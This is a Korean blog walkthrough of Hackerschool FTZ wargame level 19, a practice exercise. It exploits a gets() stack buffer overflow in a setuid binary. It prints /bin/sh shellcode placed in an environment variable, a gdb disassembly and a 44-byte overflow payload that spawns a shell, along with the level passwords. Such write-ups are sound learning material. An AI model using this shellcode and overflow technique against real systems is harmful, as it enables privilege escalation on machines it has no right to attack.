M4ndU의 만두만두한 블로그

해커스쿨 FTZ [LEVEL19] 풀이입니다.

ID | level19

PW | swimming in pink

으로 로그인합니다.

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,

를 이용해 힌트를 확인합시다.

login as: level19

level19@192.168.31.128's password:

[level19@ftz level19]$ ls -l

total 28

-rwsr-x---    1 level20  level19     13615 Mar  8  2003 attackme

-rw-r-----    1 root     level19        65 Mar  8  2003 hint

drwxr-xr-x    2 root     level19      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level19      4096 Jan 16  2009 tmp

[level19@ftz level19]$ cat hint

main()

{ char buf[20];

  gets(buf);

  printf("%s\n",buf);

}

[level19@ftz level19]$ export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level19@ftz level19]$ cd tmp

[level19@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level19@ftz tmp]$ gcc getenv.c -o getenv

[level19@ftz tmp]$ ./getenv

ADDR -> 0xbffffc78

[level19@ftz tmp]$ cd ..

[level19@ftz level19]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048440 <main+0>:    push   ebp

0x08048441 <main+1>:    mov    ebp,esp

0x08048443 <main+3>:    sub    esp,0x28

0x08048446 <main+6>:    sub    esp,0xc

0x08048449 <main+9>:    lea    eax,[ebp-40]

0x0804844c <main+12>:   push   eax

0x0804844d <main+13>:   call   0x80482f4 <gets>

0x08048452 <main+18>:   add    esp,0x10

0x08048455 <main+21>:   sub    esp,0x8

0x08048458 <main+24>:   lea    eax,[ebp-40]

0x0804845b <main+27>:   push   eax

0x0804845c <main+28>:   push   0x80484d8

0x08048461 <main+33>:   call   0x8048324 <printf>

0x08048466 <main+38>:   add    esp,0x10

0x08048469 <main+41>:   leave

0x0804846a <main+42>:   ret

[level19@ftz level19]$ (python -c 'print "A"*44+"\x78\xfc\xff\xbf"'; cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx??

my-pass

TERM environment variable not set.

Level20 Password is "we are just regular guys".